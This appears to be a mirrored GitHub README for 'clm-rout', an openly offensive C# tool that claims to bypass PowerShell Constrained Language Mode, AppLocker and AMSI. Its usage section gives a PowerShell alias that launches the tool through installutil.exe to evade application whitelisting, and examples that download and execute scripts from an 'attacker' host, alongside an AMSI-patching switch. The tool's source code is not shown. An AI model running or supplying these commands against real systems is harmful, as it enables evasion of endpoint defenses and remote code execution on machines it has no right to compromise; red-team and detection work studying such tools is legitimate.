Coder Social home page Coder Social logo

aress31 / clm-rout Goto Github PK

View Code? Open in Web Editor NEW
14.0 2.0 4.0 8 KB

A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.

License: BSD 3-Clause "New" or "Revised" License

C# 100.00%
amsi amsi-bypass applocker clm constraint-language applocker-bypass clm-bypass powershell runspace offensive-security

clm-rout's Introduction

clm-rout

Language License

An all-in-one bypass for PowerShell Constrained Language Mode (CLM), AppLocker and Antimalware Scan Interface (AMSI) using Runspace.

Features

  • Evade AppLocker.
  • Evade CLM.
  • Patch AMSI via the /pacth command switch.
  • Execute command(s) via the /cmd=<cmd> command switch.
  • Load and execute remotely hosted script(s) via the /url=<http(s)://foo.bar/foobar> command switch.
  • Output the results of commands/scripts (supports stdout and stderr).

Installation

  1. Clone/download clm-rout:

    git clone https://github.com/aress31/clm-rout
  2. Build the project with Visual Studio 2022.

Usage

  • (Recommended) Create an "alias":
function run {
	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe `
		/uninstall /logfile= /LogToConsole=false `
		/patch $Args `
		C:\users\foo\CLMRout.exe
}

Examples

  • Execute command(s):

    run /cmd="hostname; whoami"
  • Execute remote script(s):

    run /script="http://attacker/script1.ps1; http://attacker/script2.ps1"
  • Execute remote script(s) followed by command(s):

    run /cmd="hostname; whoami" /script="http://attacker/script1.ps1; http://attacker/script2.ps1"

Sponsor ๐Ÿ’“

If you want to support this project and appreciate the time invested in developping, maintening and extending it; consider donating toward my next (cup of coffee โ˜•/lamborghini ๐Ÿš—) - as a lot of my personal time went into creating this project. ๐Ÿ˜ช

It is easy, all you got to do is press the Sponsor button at the top of this page or alternatively click this link. ๐Ÿ˜

Reporting Issues

Found a bug ๐Ÿ›? I would love to squash it!

Please report all issues on the GitHub issues tracker.

Contributing

You would like to contribute to better this project? ๐Ÿคฉ

Please submit all PRs on the GitHub pull requests tracker.

License

clm-rout is distributed under the terms of the BSD 3.

See LICENSE for details.

clm-rout's People

Contributors

aress31 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.